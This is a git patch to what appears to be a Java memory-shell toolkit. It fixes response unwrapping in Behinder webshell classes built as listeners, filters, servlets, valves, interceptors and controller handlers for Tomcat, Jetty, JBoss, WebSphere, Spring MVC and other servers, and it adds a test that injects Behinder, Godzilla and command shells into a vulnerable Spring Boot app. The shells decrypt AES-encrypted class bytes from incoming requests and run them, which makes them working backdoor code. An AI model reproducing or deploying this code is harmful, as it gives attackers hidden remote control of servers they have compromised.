From 1a4d57c58dd8f401633c2932f923a8c8500b0d9c Mon Sep 17 00:00:00 2001 From: ReaJason Date: Sun, 22 Dec 2024 20:49:56 +0800 Subject: [PATCH] fix: behinder response wrapper --- integration-test/build.gradle | 1 + .../javaweb/integration/ContainerTool.java | 1 + .../SpringBoot2WarContainerTest.java | 76 +++++++++++++++++++ .../glassfish/behinder/BehinderListener.java | 18 +++-- .../jboss/behinder/BehinderListener.java | 16 ++-- .../jetty/behinder/BehinderListener.java | 18 +++-- .../payara/behinder/BehinderListener.java | 18 +++-- .../resin/behinder/BehinderListener.java | 18 +++-- .../shelltool/behinder/BehinderFilter.java | 33 +++++++- .../shelltool/behinder/BehinderServlet.java | 33 +++++++- .../shelltool/behinder/BehinderValve.java | 34 ++++++++- .../behinder/BehinderControllerHandler.java | 34 ++++++++- .../behinder/BehinderInterceptor.java | 33 +++++++- .../tomcat/behinder/BehinderListener.java | 18 +++-- .../undertow/behinder/BehinderListener.java | 18 +++-- .../websphere/behinder/BehinderListener.java | 18 +++-- .../vul/springboot2/ServletInitializer.java | 13 ++++ 17 files changed, 348 insertions(+), 52 deletions(-) create mode 100644 integration-test/src/test/java/com/reajason/javaweb/integration/springmvc/SpringBoot2WarContainerTest.java create mode 100644 vul/vul-springboot2/src/main/java/com/reajason/javaweb/vul/springboot2/ServletInitializer.java diff --git a/integration-test/build.gradle b/integration-test/build.gradle index 5ac845e2..da8723aa 100644 --- a/integration-test/build.gradle +++ b/integration-test/build.gradle @@ -56,6 +56,7 @@ test { ":vul:vul-webapp-expression:war", ":vul:vul-webapp-jakarta:war", ":vul:vul-springboot2:bootJar", + ":vul:vul-springboot2:bootWar", ":vul:vul-springboot3:bootJar" ) useJUnitPlatform() diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/ContainerTool.java b/integration-test/src/test/java/com/reajason/javaweb/integration/ContainerTool.java index 0320ee1b..37205a2b 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/ContainerTool.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/ContainerTool.java @@ -16,6 +16,7 @@ public class ContainerTool { public static final MountableFile warJakartaFile = MountableFile.forHostPath(Paths.get("../vul/vul-webapp-jakarta/build/libs/vul-webapp-jakarta.war").toAbsolutePath()); public static final MountableFile warExpressionFile = MountableFile.forHostPath(Paths.get("../vul/vul-webapp-expression/build/libs/vul-webapp-expression.war").toAbsolutePath()); public static final MountableFile warFile = MountableFile.forHostPath(Paths.get("../vul/vul-webapp/build/libs/vul-webapp.war").toAbsolutePath()); + public static final MountableFile springBoot2WarFile = MountableFile.forHostPath(Paths.get("../vul/vul-springboot2/build/libs/vul-springboot2.war").toAbsolutePath()); public static final Path springBoot2Dockerfile = Paths.get("../vul/vul-springboot2/Dockerfile").toAbsolutePath(); public static final Path springBoot3Dockerfile = Paths.get("../vul/vul-springboot3/Dockerfile").toAbsolutePath(); diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/springmvc/SpringBoot2WarContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/springmvc/SpringBoot2WarContainerTest.java new file mode 100644 index 00000000..1e7cebf3 --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/springmvc/SpringBoot2WarContainerTest.java @@ -0,0 +1,76 @@ +package com.reajason.javaweb.integration.springmvc; + +import com.reajason.javaweb.memshell.SpringMVCShell; +import com.reajason.javaweb.memshell.config.Server; +import com.reajason.javaweb.memshell.config.ShellTool; +import com.reajason.javaweb.memshell.packer.Packer; +import lombok.extern.slf4j.Slf4j; +import net.bytebuddy.jar.asm.Opcodes; +import org.junit.jupiter.api.AfterAll; +import org.junit.jupiter.params.ParameterizedTest; +import org.junit.jupiter.params.provider.Arguments; +import org.junit.jupiter.params.provider.MethodSource; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.wait.strategy.Wait; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.util.stream.Stream; + +import static com.reajason.javaweb.integration.ContainerTool.getUrl; +import static com.reajason.javaweb.integration.ContainerTool.springBoot2WarFile; +import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; +import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; +import static org.hamcrest.MatcherAssert.assertThat; +import static org.junit.jupiter.params.provider.Arguments.arguments; + +/** + * @author ReaJason + * @since 2024/12/22 + */ +@Testcontainers +@Slf4j +public class SpringBoot2WarContainerTest { + public static final String imageName = "tomcat:8-jre8"; + + @Container + public final static GenericContainer container = new GenericContainer<>(imageName) + .withCopyToContainer(springBoot2WarFile, "/usr/local/tomcat/webapps/app.war") + .waitingFor(Wait.forHttp("/app")) + .withExposedPorts(8080); + + static Stream casesProvider() { + return Stream.of( + arguments(imageName, SpringMVCShell.INTERCEPTOR, ShellTool.Behinder, Packer.INSTANCE.ScriptEngine), + arguments(imageName, SpringMVCShell.INTERCEPTOR, ShellTool.Behinder, Packer.INSTANCE.SpEL), + arguments(imageName, SpringMVCShell.INTERCEPTOR, ShellTool.Behinder, Packer.INSTANCE.Base64), + arguments(imageName, SpringMVCShell.INTERCEPTOR, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine), + arguments(imageName, SpringMVCShell.INTERCEPTOR, ShellTool.Godzilla, Packer.INSTANCE.SpEL), + arguments(imageName, SpringMVCShell.INTERCEPTOR, ShellTool.Godzilla, Packer.INSTANCE.Base64), + arguments(imageName, SpringMVCShell.INTERCEPTOR, ShellTool.Command, Packer.INSTANCE.ScriptEngine), + arguments(imageName, SpringMVCShell.INTERCEPTOR, ShellTool.Command, Packer.INSTANCE.SpEL), + arguments(imageName, SpringMVCShell.INTERCEPTOR, ShellTool.Command, Packer.INSTANCE.Base64), + arguments(imageName, SpringMVCShell.CONTROLLER_HANDLER, ShellTool.Behinder, Packer.INSTANCE.ScriptEngine), + arguments(imageName, SpringMVCShell.CONTROLLER_HANDLER, ShellTool.Behinder, Packer.INSTANCE.SpEL), + arguments(imageName, SpringMVCShell.CONTROLLER_HANDLER, ShellTool.Behinder, Packer.INSTANCE.Base64), + arguments(imageName, SpringMVCShell.CONTROLLER_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine), + arguments(imageName, SpringMVCShell.CONTROLLER_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.SpEL), + arguments(imageName, SpringMVCShell.CONTROLLER_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.Base64), + arguments(imageName, SpringMVCShell.CONTROLLER_HANDLER, ShellTool.Command, Packer.INSTANCE.ScriptEngine), + arguments(imageName, SpringMVCShell.CONTROLLER_HANDLER, ShellTool.Command, Packer.INSTANCE.SpEL), + arguments(imageName, SpringMVCShell.CONTROLLER_HANDLER, ShellTool.Command, Packer.INSTANCE.Base64) + ); + } + + @AfterAll + static void tearDown() { + String logs = container.getLogs(); + assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); + } + + @ParameterizedTest(name = "{0}|{1}{2}|{3}") + @MethodSource("casesProvider") + void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { + testShellInjectAssertOk(getUrl(container), Server.SpringMVC, shellType, shellTool, Opcodes.V1_6, packer); + } +} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/glassfish/behinder/BehinderListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/glassfish/behinder/BehinderListener.java index d3b525af..6622671a 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/glassfish/behinder/BehinderListener.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/glassfish/behinder/BehinderListener.java @@ -86,13 +86,9 @@ public class BehinderListener extends ClassLoader implements ServletRequestListe HttpSession session = ((HttpServletRequest) request).getSession(); Map obj = new HashMap(3); obj.put("request", request); - obj.put("response", response); + obj.put("response", getInternalResponse(response)); obj.put("session", session); - try { - session.putValue("u", this.pass); - } catch (NoSuchMethodError e) { - session.setAttribute("u", this.pass); - } + session.setAttribute("u", this.pass); Cipher c = Cipher.getInstance("AES"); c.init(2, new SecretKeySpec(this.pass.getBytes(), "AES")); byte[] bytes = c.doFinal(base64Decode(request.getReader().readLine())); @@ -103,6 +99,16 @@ public class BehinderListener extends ClassLoader implements ServletRequestListe } } + public HttpServletResponse getInternalResponse(HttpServletResponse response) { + while (true) { + try { + response = (HttpServletResponse) getFieldValue(response, "response"); + } catch (Exception e) { + return response; + } + } + } + private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception { HttpServletResponse response = null; try { diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/jboss/behinder/BehinderListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/jboss/behinder/BehinderListener.java index 6d71e844..a0d369b0 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/jboss/behinder/BehinderListener.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/jboss/behinder/BehinderListener.java @@ -88,11 +88,7 @@ public class BehinderListener extends ClassLoader implements ServletRequestListe obj.put("request", request); obj.put("response", response); obj.put("session", session); - try { - session.putValue("u", this.pass); - } catch (NoSuchMethodError e) { - session.setAttribute("u", this.pass); - } + session.setAttribute("u", this.pass); Cipher c = Cipher.getInstance("AES"); c.init(2, new SecretKeySpec(this.pass.getBytes(), "AES")); byte[] bytes = c.doFinal(base64Decode(request.getReader().readLine())); @@ -103,6 +99,16 @@ public class BehinderListener extends ClassLoader implements ServletRequestListe } } + public HttpServletResponse getInternalResponse(HttpServletResponse response) { + while (true) { + try { + response = (HttpServletResponse) getFieldValue(response, "response"); + } catch (Exception e) { + return response; + } + } + } + private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception { HttpServletResponse response = null; try { diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/jetty/behinder/BehinderListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/jetty/behinder/BehinderListener.java index 34784964..505fb073 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/jetty/behinder/BehinderListener.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/jetty/behinder/BehinderListener.java @@ -86,13 +86,9 @@ public class BehinderListener extends ClassLoader implements ServletRequestListe HttpSession session = ((HttpServletRequest) request).getSession(); Map obj = new HashMap(3); obj.put("request", request); - obj.put("response", response); + obj.put("response", getInternalResponse(response)); obj.put("session", session); - try { - session.putValue("u", this.pass); - } catch (NoSuchMethodError e) { - session.setAttribute("u", this.pass); - } + session.setAttribute("u", this.pass); Cipher c = Cipher.getInstance("AES"); c.init(2, new SecretKeySpec(this.pass.getBytes(), "AES")); byte[] bytes = c.doFinal(base64Decode(request.getReader().readLine())); @@ -103,6 +99,16 @@ public class BehinderListener extends ClassLoader implements ServletRequestListe } } + public HttpServletResponse getInternalResponse(HttpServletResponse response) { + while (true) { + try { + response = (HttpServletResponse) getFieldValue(response, "response"); + } catch (Exception e) { + return response; + } + } + } + private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception { HttpServletResponse response = null; try { diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/payara/behinder/BehinderListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/payara/behinder/BehinderListener.java index 018b6112..acfb6d2c 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/payara/behinder/BehinderListener.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/payara/behinder/BehinderListener.java @@ -86,13 +86,9 @@ public class BehinderListener extends ClassLoader implements ServletRequestListe HttpSession session = ((HttpServletRequest) request).getSession(); Map obj = new HashMap(3); obj.put("request", request); - obj.put("response", response); + obj.put("response", getInternalResponse(response)); obj.put("session", session); - try { - session.putValue("u", this.pass); - } catch (NoSuchMethodError e) { - session.setAttribute("u", this.pass); - } + session.setAttribute("u", this.pass); Cipher c = Cipher.getInstance("AES"); c.init(2, new SecretKeySpec(this.pass.getBytes(), "AES")); byte[] bytes = c.doFinal(base64Decode(request.getReader().readLine())); @@ -103,6 +99,16 @@ public class BehinderListener extends ClassLoader implements ServletRequestListe } } + public HttpServletResponse getInternalResponse(HttpServletResponse response) { + while (true) { + try { + response = (HttpServletResponse) getFieldValue(response, "response"); + } catch (Exception e) { + return response; + } + } + } + private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception { HttpServletResponse response = null; try { diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/resin/behinder/BehinderListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/resin/behinder/BehinderListener.java index 582d5690..a27f1b60 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/resin/behinder/BehinderListener.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/resin/behinder/BehinderListener.java @@ -86,13 +86,9 @@ public class BehinderListener extends ClassLoader implements ServletRequestListe HttpSession session = ((HttpServletRequest) request).getSession(); Map obj = new HashMap(3); obj.put("request", request); - obj.put("response", response); + obj.put("response", getInternalResponse(response)); obj.put("session", session); - try { - session.putValue("u", this.pass); - } catch (NoSuchMethodError e) { - session.setAttribute("u", this.pass); - } + session.setAttribute("u", this.pass); Cipher c = Cipher.getInstance("AES"); c.init(2, new SecretKeySpec(this.pass.getBytes(), "AES")); byte[] bytes = c.doFinal(base64Decode(request.getReader().readLine())); @@ -103,6 +99,16 @@ public class BehinderListener extends ClassLoader implements ServletRequestListe } } + public HttpServletResponse getInternalResponse(HttpServletResponse response) { + while (true) { + try { + response = (HttpServletResponse) getFieldValue(response, "response"); + } catch (Exception e) { + return response; + } + } + } + private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception { HttpServletResponse response = null; response = (HttpServletResponse) getFieldValue(request, "_response"); diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderFilter.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderFilter.java index 5e678355..d6e004b9 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderFilter.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderFilter.java @@ -7,6 +7,7 @@ import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import javax.servlet.http.HttpSession; import java.io.IOException; +import java.lang.reflect.Field; import java.util.HashMap; import java.util.Map; @@ -42,7 +43,7 @@ public class BehinderFilter extends ClassLoader implements Filter { HttpSession session = ((HttpServletRequest) servletRequest).getSession(); Map obj = new HashMap(3); obj.put("request", servletRequest); - obj.put("response", response); + obj.put("response", getInternalResponse(response)); obj.put("session", session); session.setAttribute("u", this.pass); Cipher c = Cipher.getInstance("AES"); @@ -58,6 +59,36 @@ public class BehinderFilter extends ClassLoader implements Filter { } } + public HttpServletResponse getInternalResponse(HttpServletResponse response) { + while (true) { + try { + response = (HttpServletResponse) getFieldValue(response, "response"); + } catch (Exception e) { + return response; + } + } + } + + @SuppressWarnings("all") + public static Object getFieldValue(Object obj, String name) throws Exception { + Field field = null; + Class clazz = obj.getClass(); + while (clazz != Object.class) { + try { + field = clazz.getDeclaredField(name); + break; + } catch (NoSuchFieldException var5) { + clazz = clazz.getSuperclass(); + } + } + if (field == null) { + throw new NoSuchFieldException(name); + } else { + field.setAccessible(true); + return field.get(obj); + } + } + @SuppressWarnings("all") public static byte[] base64Decode(String bs) { byte[] value = null; diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderServlet.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderServlet.java index 577fd549..53348817 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderServlet.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderServlet.java @@ -7,6 +7,7 @@ import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import javax.servlet.http.HttpSession; import java.io.IOException; +import java.lang.reflect.Field; import java.util.HashMap; import java.util.Map; @@ -30,7 +31,7 @@ public class BehinderServlet extends ClassLoader implements Servlet { HttpSession session = request.getSession(); Map obj = new HashMap(3); obj.put("request", request); - obj.put("response", response); + obj.put("response", getInternalResponse(response)); obj.put("session", session); session.setAttribute("u", this.pass); Cipher c = Cipher.getInstance("AES"); @@ -44,6 +45,36 @@ public class BehinderServlet extends ClassLoader implements Servlet { } } + public HttpServletResponse getInternalResponse(HttpServletResponse response) { + while (true) { + try { + response = (HttpServletResponse) getFieldValue(response, "response"); + } catch (Exception e) { + return response; + } + } + } + + @SuppressWarnings("all") + public static Object getFieldValue(Object obj, String name) throws Exception { + Field field = null; + Class clazz = obj.getClass(); + while (clazz != Object.class) { + try { + field = clazz.getDeclaredField(name); + break; + } catch (NoSuchFieldException var5) { + clazz = clazz.getSuperclass(); + } + } + if (field == null) { + throw new NoSuchFieldException(name); + } else { + field.setAccessible(true); + return field.get(obj); + } + } + @Override public String getServletInfo() { return ""; diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderValve.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderValve.java index e2e00a61..13bb9b1f 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderValve.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderValve.java @@ -7,8 +7,10 @@ import org.apache.catalina.connector.Response; import javax.crypto.Cipher; import javax.crypto.spec.SecretKeySpec; import javax.servlet.ServletException; +import javax.servlet.http.HttpServletResponse; import javax.servlet.http.HttpSession; import java.io.IOException; +import java.lang.reflect.Field; import java.util.HashMap; import java.util.Map; @@ -82,7 +84,7 @@ public class BehinderValve extends ClassLoader implements Valve { HttpSession session = request.getSession(); Map obj = new HashMap(3); obj.put("request", request); - obj.put("response", response); + obj.put("response", getInternalResponse(response)); obj.put("session", session); session.setAttribute("u", this.pass); Cipher c = Cipher.getInstance("AES"); @@ -98,4 +100,34 @@ public class BehinderValve extends ClassLoader implements Valve { this.getNext().invoke(request, response); } } + + public HttpServletResponse getInternalResponse(HttpServletResponse response) { + while (true) { + try { + response = (HttpServletResponse) getFieldValue(response, "response"); + } catch (Exception e) { + return response; + } + } + } + + @SuppressWarnings("all") + public static Object getFieldValue(Object obj, String name) throws Exception { + Field field = null; + Class clazz = obj.getClass(); + while (clazz != Object.class) { + try { + field = clazz.getDeclaredField(name); + break; + } catch (NoSuchFieldException var5) { + clazz = clazz.getSuperclass(); + } + } + if (field == null) { + throw new NoSuchFieldException(name); + } else { + field.setAccessible(true); + return field.get(obj); + } + } } diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/springmvc/behinder/BehinderControllerHandler.java b/memshell/src/main/java/com/reajason/javaweb/memshell/springmvc/behinder/BehinderControllerHandler.java index baf51c04..d7d31cd9 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/springmvc/behinder/BehinderControllerHandler.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/springmvc/behinder/BehinderControllerHandler.java @@ -8,6 +8,7 @@ import javax.crypto.spec.SecretKeySpec; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import javax.servlet.http.HttpSession; +import java.lang.reflect.Field; import java.util.HashMap; import java.util.Map; @@ -34,12 +35,13 @@ public class BehinderControllerHandler extends ClassLoader implements Controller } public ModelAndView handleRequest(HttpServletRequest request, HttpServletResponse response) throws Exception { + System.out.println(response.getClass().getName()); if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) { try { HttpSession session = request.getSession(); Map obj = new HashMap(3); obj.put("request", request); - obj.put("response", response); + obj.put("response", getInternalResponse(response)); obj.put("session", session); session.setAttribute("u", this.pass); Cipher c = Cipher.getInstance("AES"); @@ -54,6 +56,36 @@ public class BehinderControllerHandler extends ClassLoader implements Controller return null; } + public HttpServletResponse getInternalResponse(HttpServletResponse response) { + while (true) { + try { + response = (HttpServletResponse) getFieldValue(response, "response"); + } catch (Exception e) { + return response; + } + } + } + + @SuppressWarnings("all") + public static Object getFieldValue(Object obj, String name) throws Exception { + Field field = null; + Class clazz = obj.getClass(); + while (clazz != Object.class) { + try { + field = clazz.getDeclaredField(name); + break; + } catch (NoSuchFieldException var5) { + clazz = clazz.getSuperclass(); + } + } + if (field == null) { + throw new NoSuchFieldException(name); + } else { + field.setAccessible(true); + return field.get(obj); + } + } + @SuppressWarnings("all") public static byte[] base64Decode(String bs) { byte[] value = null; diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/springmvc/behinder/BehinderInterceptor.java b/memshell/src/main/java/com/reajason/javaweb/memshell/springmvc/behinder/BehinderInterceptor.java index eadf3de7..249653e1 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/springmvc/behinder/BehinderInterceptor.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/springmvc/behinder/BehinderInterceptor.java @@ -8,6 +8,7 @@ import javax.crypto.spec.SecretKeySpec; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import javax.servlet.http.HttpSession; +import java.lang.reflect.Field; import java.util.HashMap; import java.util.Map; @@ -40,7 +41,7 @@ public class BehinderInterceptor extends ClassLoader implements AsyncHandlerInte HttpSession session = request.getSession(); Map obj = new HashMap(3); obj.put("request", request); - obj.put("response", response); + obj.put("response", getInternalResponse(response)); obj.put("session", session); session.setAttribute("u", this.pass); Cipher c = Cipher.getInstance("AES"); @@ -57,6 +58,36 @@ public class BehinderInterceptor extends ClassLoader implements AsyncHandlerInte } } + public HttpServletResponse getInternalResponse(HttpServletResponse response) { + while (true) { + try { + response = (HttpServletResponse) getFieldValue(response, "response"); + } catch (Exception e) { + return response; + } + } + } + + @SuppressWarnings("all") + public static Object getFieldValue(Object obj, String name) throws Exception { + Field field = null; + Class clazz = obj.getClass(); + while (clazz != Object.class) { + try { + field = clazz.getDeclaredField(name); + break; + } catch (NoSuchFieldException var5) { + clazz = clazz.getSuperclass(); + } + } + if (field == null) { + throw new NoSuchFieldException(name); + } else { + field.setAccessible(true); + return field.get(obj); + } + } + @Override public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception { diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/tomcat/behinder/BehinderListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/tomcat/behinder/BehinderListener.java index 323a4906..8a8a3ad1 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/tomcat/behinder/BehinderListener.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/tomcat/behinder/BehinderListener.java @@ -86,13 +86,9 @@ public class BehinderListener extends ClassLoader implements ServletRequestListe HttpSession session = ((HttpServletRequest) request).getSession(); Map obj = new HashMap(3); obj.put("request", request); - obj.put("response", response); + obj.put("response", getInternalResponse(response)); obj.put("session", session); - try { - session.putValue("u", this.pass); - } catch (NoSuchMethodError e) { - session.setAttribute("u", this.pass); - } + session.setAttribute("u", this.pass); Cipher c = Cipher.getInstance("AES"); c.init(2, new SecretKeySpec(this.pass.getBytes(), "AES")); byte[] bytes = c.doFinal(base64Decode(request.getReader().readLine())); @@ -103,6 +99,16 @@ public class BehinderListener extends ClassLoader implements ServletRequestListe } } + public HttpServletResponse getInternalResponse(HttpServletResponse response) { + while (true) { + try { + response = (HttpServletResponse) getFieldValue(response, "response"); + } catch (Exception e) { + return response; + } + } + } + private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception { HttpServletResponse response = null; try { diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/undertow/behinder/BehinderListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/undertow/behinder/BehinderListener.java index 2031a717..2dbb4108 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/undertow/behinder/BehinderListener.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/undertow/behinder/BehinderListener.java @@ -86,13 +86,9 @@ public class BehinderListener extends ClassLoader implements ServletRequestListe HttpSession session = ((HttpServletRequest) request).getSession(); Map obj = new HashMap(3); obj.put("request", request); - obj.put("response", response); + obj.put("response", getInternalResponse(response)); obj.put("session", session); - try { - session.putValue("u", this.pass); - } catch (NoSuchMethodError e) { - session.setAttribute("u", this.pass); - } + session.setAttribute("u", this.pass); Cipher c = Cipher.getInstance("AES"); c.init(2, new SecretKeySpec(this.pass.getBytes(), "AES")); byte[] bytes = c.doFinal(base64Decode(request.getReader().readLine())); @@ -103,6 +99,16 @@ public class BehinderListener extends ClassLoader implements ServletRequestListe } } + public HttpServletResponse getInternalResponse(HttpServletResponse response) { + while (true) { + try { + response = (HttpServletResponse) getFieldValue(response, "response"); + } catch (Exception e) { + return response; + } + } + } + private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception { HttpServletResponse response = null; Map map = (Map) getFieldValue(getFieldValue(request, "exchange"), "attachments"); diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/websphere/behinder/BehinderListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/websphere/behinder/BehinderListener.java index eda6d88e..ba7d8538 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/websphere/behinder/BehinderListener.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/websphere/behinder/BehinderListener.java @@ -86,13 +86,9 @@ public class BehinderListener extends ClassLoader implements ServletRequestListe HttpSession session = ((HttpServletRequest) request).getSession(); Map obj = new HashMap(3); obj.put("request", request); - obj.put("response", response); + obj.put("response", getInternalResponse(response)); obj.put("session", session); - try { - session.putValue("u", this.pass); - } catch (NoSuchMethodError e) { - session.setAttribute("u", this.pass); - } + session.setAttribute("u", this.pass); Cipher c = Cipher.getInstance("AES"); c.init(2, new SecretKeySpec(this.pass.getBytes(), "AES")); byte[] bytes = c.doFinal(base64Decode(request.getReader().readLine())); @@ -103,6 +99,16 @@ public class BehinderListener extends ClassLoader implements ServletRequestListe } } + public HttpServletResponse getInternalResponse(HttpServletResponse response) { + while (true) { + try { + response = (HttpServletResponse) getFieldValue(response, "response"); + } catch (Exception e) { + return response; + } + } + } + private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception { return (HttpServletResponse) getFieldValue(getFieldValue(request, "_connContext"), "_response"); } diff --git a/vul/vul-springboot2/src/main/java/com/reajason/javaweb/vul/springboot2/ServletInitializer.java b/vul/vul-springboot2/src/main/java/com/reajason/javaweb/vul/springboot2/ServletInitializer.java new file mode 100644 index 00000000..40c11bc4 --- /dev/null +++ b/vul/vul-springboot2/src/main/java/com/reajason/javaweb/vul/springboot2/ServletInitializer.java @@ -0,0 +1,13 @@ +package com.reajason.javaweb.vul.springboot2; + +import org.springframework.boot.builder.SpringApplicationBuilder; +import org.springframework.boot.web.servlet.support.SpringBootServletInitializer; + +public class ServletInitializer extends SpringBootServletInitializer { + + @Override + protected SpringApplicationBuilder configure(SpringApplicationBuilder application) { + return application.sources(VulSpringboot2Application.class); + } + +}